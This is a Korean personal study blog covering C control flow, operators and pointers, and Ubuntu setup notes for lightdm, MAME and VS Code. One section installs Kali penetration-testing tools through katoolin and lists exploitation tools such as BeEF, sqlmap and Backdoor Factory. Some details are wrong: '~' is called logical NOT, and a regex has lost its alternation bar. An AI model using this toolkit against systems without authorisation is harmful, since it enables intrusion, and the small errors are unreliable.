다양한 경우의 수 논리 구조로 처리 하는 지시문.
c)
if
else if
else if
d) swich case

일일이 대입 하다 보면 특정 입력에 대하여 처리 공식이 나타남.

처음에는 입력의 범위를 모르기 때문에 삼항식을 가지고 경우의 수의 결과를 확인.
삼항식의 참 거짓으로 분류해 놓은 다음, 삼항식의 표현 범위 보다 더 많은 경우의 수를 표현 할 수 있는  if else 문을 사용해 참 거짓 경우의 수 범위 나열.

나열된 항목에 대해, 일정한 간격으로 모았지면  공식(페턴)이 나열 되었다고 보고, 다시 한번 swich case 문을 사용해 범위를 줄여준다.
공식이 완성이 되면, 특정한 페턴을 반복문을 통해 동일한 작업을 수행한다.

1. 분기문
+---------+-----------+ 조건
          | 흐
          | 름
       

분기문 : if 조건 분기
만약에(참, 거짓)
.-------+---+----
        |   |
    실행;    |
    |실행;

거짓 False: 숫자 0
참 True: 숫자 0이 아니 모든 정수

1.1 기본
if(조건식)
A; // 실행

b; // 실행
참: A,B
거짓: B

1.1.2 범위 지정
if(조건식){ // 다수의 명령어
실행 a; // 실행
실행 b; // 실행
}
c; // 실행

참: a,b,c 실행
거짓: c 실행

1.1.3 기본 if else
if(조건식)
a;
else
b;
c;

참: a,c
거짓: b,c

1.1.4 베타적 실행, 두 구문중 하나만 실행된다.
if(조건식) {
a;
b;
}else
c;

1.2 다중 분기분.
만약게(참, 거짓)
다른 경우(참, 거짓)
다른 경우(참, 거짓)
그렇지 않으면


1.2.1
if(조건식)
A 실행;
else if(조건식)
B 실행;
else if(조건식)
C 실행;
    else
D 실행;
E 실행;

1.3 swich case 분기문
동일한 분기문 else if

else if 범위가 swich case 보다 넓다.
swich case 문법을 else if로 변경이 가능하다.
하지만 else if 문법을 swich case로 변경 하는건 불가능하다.

swich(조건식){ // 조건식의 결과는 반드시 정수값. 실수이면, 부동 소수점 오차의 문제
case 1: // 등치 연산, 1과 같은면 A 실행.
A;
break;
case 2:
B;
break;
default:
C;
}

1.4. goto
goto lavle_name
 레이블이 가르킨 곳으로 이동한다.
 치면적 논리적 오류가 생길 수 있다.

2. 반복문 : while, do while, for
동일한 작업을 자동으로 처리하기 위한 공식.
공식을 만들기 위해서는 동일한 페턴을 분석해 찾아 내는게 가장 우선되어야 한다.

2.1 while(조건식) {
실행문; 실행문이 다수이면 { 을 열고 } 닫는다
실행문;
}

초기값, 조건식, 실행, 계수의 기준으로 반복 횟수 설정이 필요하다.
1 초기값
while(2 조건식)
3 실행
4계수(++, --)

반납: 예외처리
반환: main 에서 반환(return)시 프로그램 종료

2.2 do while
do{
1회 실행
} while(조건식);

동일한 코드에 대하여 입력값을 받아야 할 경우 사용한다.

3. for
for(1 초기값; 2 조건비교; 4 계수;)
   3 실행

1 초기값: 초기값은 한번만 연산한다.

4. 반복문 중첩
안쪽 : 행(수평, X)
바같쪽: 열(수직, Y)

A
B
A1
A2
B1
B2
A1-1
A1-2
A2-1
A2-2
B1-1
B1-2
B2-1
B2-2

5. 정지, 계속
break : 정지 -> 조건 비교 없음
continue : 진행 -> 조건 비교 진행
return : 함수를 나간다(반환).

2018/12/26

C 언어 연산자

조건 연산자: 삼항 연산자.
조건식 ? 참 : 거짓

Short Circuit
비트 연산자, 논리 연산자를 통해 왼쪽 항부터 연산해 논리연산을 통해, 다음 문장을 실행 할지 안할지 판단한다.

&& 논리곱(AND) : 크고 작고 그리곱 1 * 1
|| 논리합(OR)  : 크거나 작거나  1 + 0
~ 논리부정(NOT) : 참을 거짓으로 거짓을 참으로

sizeof 연산자.
CPU 연산이 아니라 컴파일 시간에 정보를 확인한다.
메모리 크기 명시적 확인 방법.
즉, CPU 부하가 없다.

연산과 프로그램밍
연산: 단순 계산기 역할
프로그램밍: 계산된 결과를 논리로 판단하는 기준(연역법, 귀납법, 귀류법).

32bit 운영체제
정보단위 8비트 -> 1Byte : 2^32 약 4G 메모리 영역
메모리 영역의 접근: 고유주소

정수 : int 4Byte
1Byte : 8bit
16 진수: 0x9A는 9:4bit A:4bit

연산 결합 방향(왼쪽 -> 오른쪽)

자료형 : 길이, 해석방법

배열 이름 -> 메모리 주소
char sizeName[32]; ----> char[32] : 주소
char[] == char*
[] == * : 주소와 같다.
char* + int =  address

변수 이름 -> 메모리 : 자료형 기준으로 메모리 자원을 확보한다
                      확보한 메모리의 처음 주소가 대표 주소가 된다.
                      메모리 대표 주소는 고유한 주소를 가진다.
                      고유한 주소는 자료형의 최소 단위(8bit, 1byte)정보를 가진다.
  자료형의 단위는 자료형마다 다르다.
  주소 표기법은 16진수로 표현한다.
  16진수 표현으로 왼쪽에서 오른쪽으로 증가한다
  증가하는 방식은 자료형의 크기로 증가된다.
       
&변수이름 단항: 주소연산자 -> 메모리에서 주소 정보 확보.
*메모리 주소 단항: 간접지정 연산자 -> 주소 기반으로 변수 생성.

2018/12/25

18.04 lightdm 윈도우 메니지먼트 마우스 크기 설정 문제

바탕화면 영역과 다른 소프트 선택 영역의 마우스 크기가 문제.

cat /etc/X11/default-display-manager
/usr/sbin/lightdm

sudo apt-get install lightdm-gtk-greeter

wayland gksu 사용권한 적용

권한이 필요할 
xhost si:localuser:root

작업이 끝나면 권한 제거
xhost -si:localuser:root 

부팅
cat <<EOF | sudo tee /etc/xdg/autostart/xhost.desktop
[Desktop Entry]
Name=xhost
Comment=Fix graphical root applications
Exec="xhost +si:localuser:root"
Terminal=false
Type=Application
EOF

.bashrc 에다가 적용해 사용 할 수 있다. 
alias gsuon='xhost si:localuser:root'
alias gsuoff='xhost -si:localuser:root'

2018/12/24

양의 정수, 음의 정수 구분, 중첩문 사용

#include <stdio.h>
int main(void) {
double number;

printf("Enter a number: ");
scanf("%lf", &number);

// 입력된 숫가 0 보다 작은 경우 참
if(number < 0.0)
printf("You entered a negative number.");

// 입력된 숫가 0 보다 큰 경우 참
else if(number > 0.0)
printf("You entered a positive number.");

// 두 개의 조건식이 전부 거짓으로 판단 되면
else
printf("You entered 0.");
return 0;
}

양의 정수, 음의 정수 분별.

#include <stdio.h>

int main(void) {
double number;

printf("Enter a number: ");
scanf("%lf", &number);

if (number <= 0.0)
{
if (number == 0.0)
printf("You entered 0.");
else
printf("You entered a negative number.");
} else
printf("You entered a positive number.");
return 0;
}

재귀 함수 factorial

#include <stdio.h>
long int multiplyNumbers(int n);

int main(void){
int n;
printf("Enter a positive integer: ");
scanf("%d", &n);
printf("Factorial of %d = %ld\n", n, multiplyNumbers(n));
return 0;
}

long int multiplyNumbers(int n){
if(n >= 1)
return n*multiplyNumbers(n-1);
else
return 1;
}

정수 입력  : 6
6 = 720

factorial

#include <stdio.h>

int main(void){
int n, i;
unsigned long long factorial = 1;

printf("Enter an integer: ");
scanf("%d", &n);

// 사용자 음의 정수 입력시 오류
if(n < 0)
printf("Error! Factorial of a negative number doesn't exist.\n");
else{
for(i=1; i<=n; ++i){
factorial *= i; // factorial = factorial * 1;
}
printf("Factorial of %d = %llu\n", n, factorial);
}
return 0;
}

운분투 18.04 kali Linux 사용 설치 유틸

운분투 18.04 kali Linux 사용 설치 유틸

katoolin을 사용해 원하는 프로그램만 설치 가능하다.

파일썬 및 git 설치
sudo apt-get install python git

복사
git clone https://github.com/LionSec/katoolin.git

실행 파일 이동
sudo cp katoolin/katoolin.py /usr/bin/katoolin

실행 권한
sudo chmod +x /usr/bin/katoolin
sudo vi /usr/bin/katoolin
첫줄 파있너 버전 변경
#!/usr/bin/env python2.7

실행
sudo katoolin

1. 저장수 추가 및 업데이트
1) Add Kali repositories & Update
2) View Categories
3) Install classicmenu indicator
4) Install Kali menu
5) Help

kat > 1

하위 메뉴 생성 저장소 추가 1 입력
1) Add kali linux repositories
2) Update
3) Remove all kali linux repositories
4) View the contents of sources.list file

What do you want to do ?> 1

저장소 업데이트 2 입력
저장소 제거 3 입력
저장소 리스트 항목(/etc/apt/source.list) 보기
1) Add kali linux repositories
2) Update
3) Remove all kali linux repositories
4) View the contents of sources.list file

What do you want to do ?> 2

이전 메뉴 이동
What do you want to do ?> back
1) Add Kali repositories & Update
2) View Categories
3) Install classicmenu indicator
4) Install Kali menu
5) Help

주 메뉴 이동
kat > gohome
1) Add Kali repositories & Update
2) View Categories
3) Install classicmenu indicator
4) Install Kali menu
5) Help

kat >

2. 카테고리
kat > 2
**************************** All Categories *****************************
1) Information Gathering 8) Exploitation Tools
2) Vulnerability Analysis 9) Forensics Tools
3) Wireless Attacks    10) Stress Testing
4) Web Applications    11) Password Attacks
5) Sniffing & Spoofing    12) Reverse Engineering
6) Maintaining Access    13) Hardware Hacking
7) Reporting Tools    14) Extra
0) All
Select a category or press (0) to install all Kali linux tools .

총 14 개의 카테고리, 전체 설치가 있음.
전체 설치시 디스크 용량을 많이 사용 하므로 필요한 프로그램만 설치한다.

kat > 8

=+[ Exploitation Tools

1) Armitage
 2) Backdoor Factory
 3) BeEF
 4) cisco-auditing-tool
 5) cisco-global-exploiter
 6) cisco-ocs
 7) cisco-torch
 8) commix
 9) crackle
10) jboss-autopwn
11) Linux Exploit Suggester
12) Maltego Teeth
13) SET
14) ShellNoob
15) sqlmap
16) THC-IPV6
17) Yersinia

0) Install all Exploitation Tools

Insert the number of the tool to install it .

kat >
3. Classic 메뉴  설치
클래식 메뉴 GUI
sudo apt-get install classicmenu-indicator

4. 칼리 메뉴 설치
주 메뉴로 이동 후 
key> 4
종료 Ctrl + C

프로젝트 사이트: https://github.com/LionSec/katoolin

우분투 18.04 하드디스크 관리 유틸

기본 제공 디스크 관리
sudo apt-get install gnome-disk-utility

baobab: 사용량 확인
usb-creator-gtk : 부팅 디스크 만들기
gnome-shell-extension-hard-disk-led : 확장 셜
localepurge : /etc/locale.nopurge 지정한 언어로만 man page 설정, 나머지는 제거
sudo apt-get install baobab usb-creator-gtk gnome-shell-extension-hard-disk-led localepurge

우분투 마메설정(MAME)

ubuntu 16.04 MAME Install

MAME(Multiple Arcade Machine Emulator)

1 기본 흐름.
1.1 저장소 등록
sudo add-apt-repository universe

1.2 업데이트
sudo apt update

1.3 MAME 설치
sudo apt-get install mame

2. 우분투 설치
2.1 sudo add-apt-repository ppa:c.falco/mame
2.2 sudo apt-get update
2.3 sudo apt-get install mame

3. 실행
cd ~/.mame
mame -createconfig
mame.ini 생성
vi mame.ini
롬파일 위치 지정

mkdir -p ~/mame/roms

굳이 압축 파일을 풀 필요는 없습니다. mame에서 알아서 해독하고 실행합니다.

4. 조이스틱
sudo add-apt-repository ppa:gregory-hainaut/pcsx2.official.ppa
sudo apt-get udpate

sudo apt-get install pcsx2
검색: pcsx

설정창 확인 -> 조이스틱 버튼 설정

우분투 18.04 의존성 문제

우분투 16.04에서 18.04로 업데이트 한 후 gtk3-dev와 wayland 에서 문제가 발생한다.

기본 16.04에서 wayland 테스트 때문에 작성하고 테스트 했던 파일의 문제인듯 하다.

설치했던 파일 부터 확인해 본다.
dpkg -l libgtk* | grep -e '^i' | grep -e 'libgtk-*[0-9]'
dpkg -l libwayland* | grep -e '^i' | grep -e 'libgtk-*[0-9]'

의존성 파일을 가지고 있는 파일 백업, 수정.
/var/lib/dpkg/status
16.04 검색 후 필요 없는 프로그램 삭제.

중복 파일 제거.
/var/lib/dpkg/triggers/File

sudo apt-get remove --purge

libwayland-client0
libwayland-cursor0
libwayland-server0

sudo apt-get install libwayland-client0 libwayland-cursor0 libwayland-server0
sudo apt-get install lightdm
sudo apt-get install gnome-shell
sudo apt install ubuntu-restricted-extras
sudo apt install mate-control-center

우분투 비쥬얼 스튜디오 설치 및 사용방법

1. 설치
1.1 윈도우
1.1.1 다운로드: https://code.visualstudio.com/download
1.1.2 환경설정
기타: "Code(으로 열기" 작업를 Windows 탐색기 파일의 상항에 맞는 메뉴에 추가
기타: "Code(으로 열기" 작업를 Windows 탐색기 디렉토리의 상항에 맞는 메뉴에 추가
기타: Code를 지원되는 파일 형식에 대한 편집기로 등록한다.
기타: PATH에 추가(다시 시작한 후 사용 가능)

1.2 우분투
1.2.1 다운로드
저장소 GPG 키 등록
sudo sh -c 'curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > /etc/apt/trusted.gpg.d/microsoft.gpg'

저장소 추가
sudo sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/vscode stable main" > /etc/apt/sources.list.d/vscode.list'

설치
sudo apt-get update
sudo apt-get install git
sudo apt-get install code

실행
arlt + F2 : code

2. 언어 설정
2.1 인터페이스 검색
검색 : ctrl + shipt + p
입력 : display
변경 : "local": "en" -> "ko"
적용 : clrs + s

2.2 인터페이스 한글 저장소 패키지 다운로드
검색 : ctrl + shipt + x
입력 : korea language pack
변경 : install 클릭
적용 : reset now 클릭

2.3 사용할 언어 문법 강조 패키지 다운로드
검색 : ctrl + p
입력 : ext install c/c++
선택 : c/c++ IntelliSense, debugging, and code bro....
적용 : 다시로드

2.4 MinGW 문법 강조(리눅스에서 윈도우 프로그램)
2.4.1 구성
- 리눅스 파티션에 윈도우 설치
- 윈도우 개발환경 구성
- 리눅스 부팅후 마운팅
- apt-get install g++-mingw-w64 mingw-w64 ---> 상항에 맞게 설치

검색 : ctrl + shift + p
입력 : c/pp
선택 : c/cpp: edit configurations...
변경 :
a) 이동: 프로젝트 .vscode 디렉토리
b) 확인: vi c_cpp_propertiess.json
c) 검색: /compilePath
d) 설명: https://github.com/Microsoft/vscode-cpptools/blob/master/Documentation/LanguageServer/MinGW.md
e) 설정:
{

    "configurations": [
        {
            "name": "Win32",
            "includePath": [
                "${workspaceRoot}",
                "mount_driver_C:/MinGW/lib/gcc/mingw32/6.3.0/include/c++",
                "mount_driver_C:/MinGW/lib/gcc/mingw32/6.3.0/include/c++/mingw32",
                "mount_driver_C:/MinGW/lib/gcc/mingw32/6.3.0/include/c++/backward",
                "mount_driver_C:/MinGW/include",
                "mount_driver_C:/MinGW/lib/gcc/mingw32/6.3.0/include-fixed",
                "mount_driver_C:/MinGW/lib/gcc/mingw32/6.3.0/include"
            ],
            "defines": [
                "_DEBUG",
                "UNICODE",
                "__GNUC__=6",
                "__cdecl=__attribute__((__cdecl__))"
            ],
            "intelliSenseMode": "clang-x64",
            "browse": {
                "path": [
                    "${workspaceRoot}",
                    "mount_driver_C:/MinGW/lib/gcc/mingw32/6.3.0/include/c++",
                    "mount_driver_C:/MinGW/lib/gcc/mingw32/6.3.0/include/c++/mingw32",
                    "mount_driver_C:/MinGW/lib/gcc/mingw32/6.3.0/include/c++/backward",
                    "mount_driver_C:/MinGW/include",
                    "mount_driver_C:/MinGW/lib/gcc/mingw32/6.3.0/include-fixed",
                    "mount_driver_C:/MinGW/lib/gcc/mingw32/6.3.0/include"
                ],
                "limitSymbolsToIncludedHeaders": true,
                "databaseFilename": ""
            }
        }
    ],
    "version": 4
}
f) 다시로드

3. 프로젝트 생성
3.1 프로젝트 위치 지정
검색 : ctrl + shift + e (탐색기 창)
열기 : ctrl + k, ctrl + o
생성 : 디렉토로 만들기(아이콘 클릭) 생성

3.2 디렉토리 생성
검색 : 오른쪽 패널창 -> 디렉토리 아이콘 생성 클릭
입력 : 디렉토리 이름

3.2.1 추가
영역 : 생성할 디렉토리 빈 공간 영역 선택
검색 : 오른쪽 패널창 -> 디렉토리 아이콘 생성 클릭
입력 : 디렉토리 이름

3.3 파일 생성
검색 : 오른쪽 패널창 -> 파일 아이콘 생성 클릭
입력 : 파일 이름



4. 컴파일
4.1 빌드 환경 구성
이동: 오른쪽 패널창 -> .vscode::{} tasks.json
입력: tasks.json
수정:
{
    "version": "2.0.0",
    "runner": "terminal",
    "type": "shell",
    "echoCommand": true,
    "presentation" : { "reveal": "always" },
    "tasks": [
          // g++ compile
          {
            "label": "save and compile for C++",
            "command": "g++",
            "args": [
                "${file}",
                "-o",
                "${fileDirname}/${fileBasenameNoExtension}"
            ],
            "group": "build",

            // compile error editer apply
            // reference:   https://code.visualstudio.com/docs/editor/tasks#_defining-a-problem-matcher

            "problemMatcher": {
                "fileLocation": [
                    "relative",
                    "${workspaceRoot}"
                ],
                "pattern": {
                    // The regular expression.
                   //Example to match: helloWorld.c:5:3: warning: implicit declaration of function 'prinft'
                    "regexp": "^(.*):(\\d+):(\\d+):\\s+(warning error):\\s+(.*)$",
                    "file": 1,
                    "line": 2,
                    "column": 3,
                    "severity": 4,
                    "message": 5
                }
            }
        },
        //gcc compile
        {
            "label": "save and compile for C",
            "command": "gcc",
            "args": [
                "${file}",
                "-o",
                "${fileDirname}/${fileBasenameNoExtension}"
            ],
            "group": "build",

            // compile error editer apply
            // reference:   https://code.visualstudio.com/docs/editor/tasks#_defining-a-problem-matcher

            "problemMatcher": {
                "fileLocation": [
                    "relative",
                    "${workspaceRoot}"
                ],
                "pattern": {
                   // The regular expression.
                   //Example to match: helloWorld.c:5:3: warning: implicit declaration of function 'prinft'
                    "regexp": "^(.*):(\\d+):(\\d+):\\s+(warning error):\\s+(.*)$",
                    "file": 1,
                    "line": 2,
                    "column": 3,
                    "severity": 4,
                    "message": 5
                }
            }
        },
        // linux binary execution

        {
            "label": "execute",
            "command": "cd ${fileDirname} && ./${fileBasenameNoExtension}",
            "group": "test"
        }
        // // windows binary execution
        // {
        //     "label": "execute",
        //     "command": "cmd",
        //     "group": "test",
        //     "args": [
        //         "/C", "${fileDirname}\\${fileBasenameNoExtension}"
        //     ]
 
        // }
    ]
}
4.2 단축키 설정
선택: 파일 > 기본 설정 > 바로 가기 키
이동: 오른쪽 패널창 -> 열려 있는 편집기 -> Keyboard Shortcuts
입력: 고급 사용자 지정의 경우 다음 파일을 열고 편집하세요. keybinding.json <- 클릭
우선 순위: 1. 사용자 환경 단축키 
           2. 기본 제공 단축키 설정

// Place your key bindings in this file to override the defaults
[
// compile
    { "key": "ctrl+alt+c", "command": "workbench.action.tasks.build" },
 
    // execute
    { "key": "ctrl+alt+r", "command": "workbench.action.tasks.test" }
]

단축키 : Ctrl +Alt + C
컴파일: save and compile for C
확인: 오른쪽 패널창 컴파일 결과 파일 생성
실행: Ctrl  + Alt + R -> execute

5. 디버깅
이동: 오른쪽 패널창 -> .vscode::{} tasks.json
입력: tasks.json
수정:
{
    // See https://go.microsoft.com/fwlink/?LinkId=733558
    // for the documentation about the tasks.json format
    "version": "2.0.0",
    "runner": "terminal",
    "type": "shell",
    "echoCommand": true,
    "presentation" : { "reveal": "always" },
    "tasks": [
          // g++ compile
          {
            "label": "save and compile for C++",
            "command": "g++",
            "args": [
                "${file}",
                "-g",
                "-o",
                "${fileDirname}/${fileBasenameNoExtension}"
            ],
            "group": "build",

            // compile error editer apply
            // reference:   https://code.visualstudio.com/docs/editor/tasks#_defining-a-problem-matcher

            "problemMatcher": {
                "fileLocation": [
                    "relative",
                    "${workspaceRoot}"
                ],
                "pattern": {
                    // The regular expression.
                   //Example to match: helloWorld.c:5:3: warning: implicit declaration of function 'prinft'
                    "regexp": "^(.*):(\\d+):(\\d+):\\s+(warning error):\\s+(.*)$",
                    "file": 1,
                    "line": 2,
                    "column": 3,
                    "severity": 4,
                    "message": 5
                }
            }
        },
        //gcc compile
        {
            "label": "save and compile for C",
            "command": "gcc",
            "args": [
                "${file}",
                "-g",
                "-o",
                "${fileDirname}/${fileBasenameNoExtension}"
            ],
            "group": "build",

            // compile error editer apply
            // reference:   https://code.visualstudio.com/docs/editor/tasks#_defining-a-problem-matcher

            "problemMatcher": {
                "fileLocation": [
                    "relative",
                    "${workspaceRoot}"
                ],
                "pattern": {
                   // The regular expression.
                   //Example to match: helloWorld.c:5:3: warning: implicit declaration of function 'prinft'
                    "regexp": "^(.*):(\\d+):(\\d+):\\s+(warning error):\\s+(.*)$",
                    "file": 1,
                    "line": 2,
                    "column": 3,
                    "severity": 4,
                    "message": 5
                }
            }
        },
        // linux binary execution

        {
            "label": "execute",
            "command": "cd ${fileDirname} && ./${fileBasenameNoExtension}",
            "group": "test"
        }
        // // windows binary execution
        // {
        //     "label": "execute",
        //     "command": "cmd",
        //     "group": "test",
        //     "args": [
        //         "/C", "${fileDirname}\\${fileBasenameNoExtension}"
        //     ]
 
        // }
    ]
}

선택: 오른쪽 패널창 -> 디버그 아이콘 클릭
이동: 환경설정 아이콘 클릭 -> 사용할 GDB 선택
수정: launch.json
{
    // IntelliSense를 사용하여 가능한 특성에 대해 알아보세요.
    // 기존 특성에 대한 설명을 보려면 가리킵니다.
    // 자세한 내용을 보려면 https://go.microsoft.com/fwlink/?linkid=830387을(를) 방문하세요.
    "version": "0.2.0",
    "configurations": [
        {
            "name": "(gdb) Launch",
            "type": "cppdbg",
            "request": "launch",
            // "program": "enter program name, for example ${workspaceFolder}/a.out",
            "program": "${fileDirname}/${fileBasenameNoExtension}",
            "args": [],
            "stopAtEntry": false,
            "cwd": "${workspaceFolder}",
            "environment": [],
            //"externalConsole": true,
            "externalConsole": false,
            "MIMode": "gdb",
            // windows gdb
            // "miDebuggerPath": "C:/MinGW/bin/gdb.exe",
            "setupCommands": [
                {
                    "description": "Enable pretty-printing for gdb",
                    "text": "-enable-pretty-printing",
                    "ignoreFailures": true
                }
            ]
        }
    ]

적용: 비쥬얼 스튜디오 디시 시작

참고:
윈도우에서 사용하는 디버깅 창 및 단축키,
비주얼 스튜디오 버전마다 단축키 차이가 있음.

자동/조사식/메모리 창
자동창 생성: 디버그 -> 창 -> 자동
단축키 : ctrl + alt + v, a

조사식창 생성: 디버그 -> 창 -> 조사식 -> 조사식 1~4
단축키 : ctrl + alt + w, 1~4
Shift+F9: 다른 창을 띄워서 변수의 값이 얼마인지 계산할 수있고, 그 자리에서 조사식을 추가 할 수도 있다.

메모리창 생성: 디버그 -> 메모리 -> 메모리 1~4
단축키 : ctrl + alt + m, 1~4
기본 메모리 창 : alt + 6

F9 : 브레이크 포인트 설정 및 해제

전체 브레이크 포인트 해제 : 디버그 -> 모든 중단점 해제
단축키 : Ctrl + Shift + F9

F5 : 디버깅 연결 프로그램과 시작.
Shift + F5 : 디버깅 없이 실행

F10: 디버깅 모드에서 한줄씩 코드를 진행하되, 다른 함수를 호출하게 되는 경우에 그 프로시저를 모두 실행하고 원래 코드로 돌아와서 한줄을 실행하는 기능
Ctrl + F10 : 커서까지 실행, 디버깅 모드에서 커서가 위치한 줄을 만날때 까지 실행하는 기능
Shift + F10 : 프로시저 나가기

F11: 한줄씩 실행
Shift + F11: 프로시저 나가기, 디버깅 모드에서 현재 현재 프로시저의 나머지를 모두 실행하고 나가는 기능

디버깅 공식
1) 중단점을 설정한다.
2) 디버깅 시작
3) F11 을 누르며 한단계씩 코드 실행 or  F10 으로 프로시저 단위 실행
4) 조사식을 추가하여 변수의 변화를 살펴본다.

함수 추적시.
stdio.h, iostream 라이브러리 호출 부분으로 진입시.
Shift + F10 : 프로시저 나가기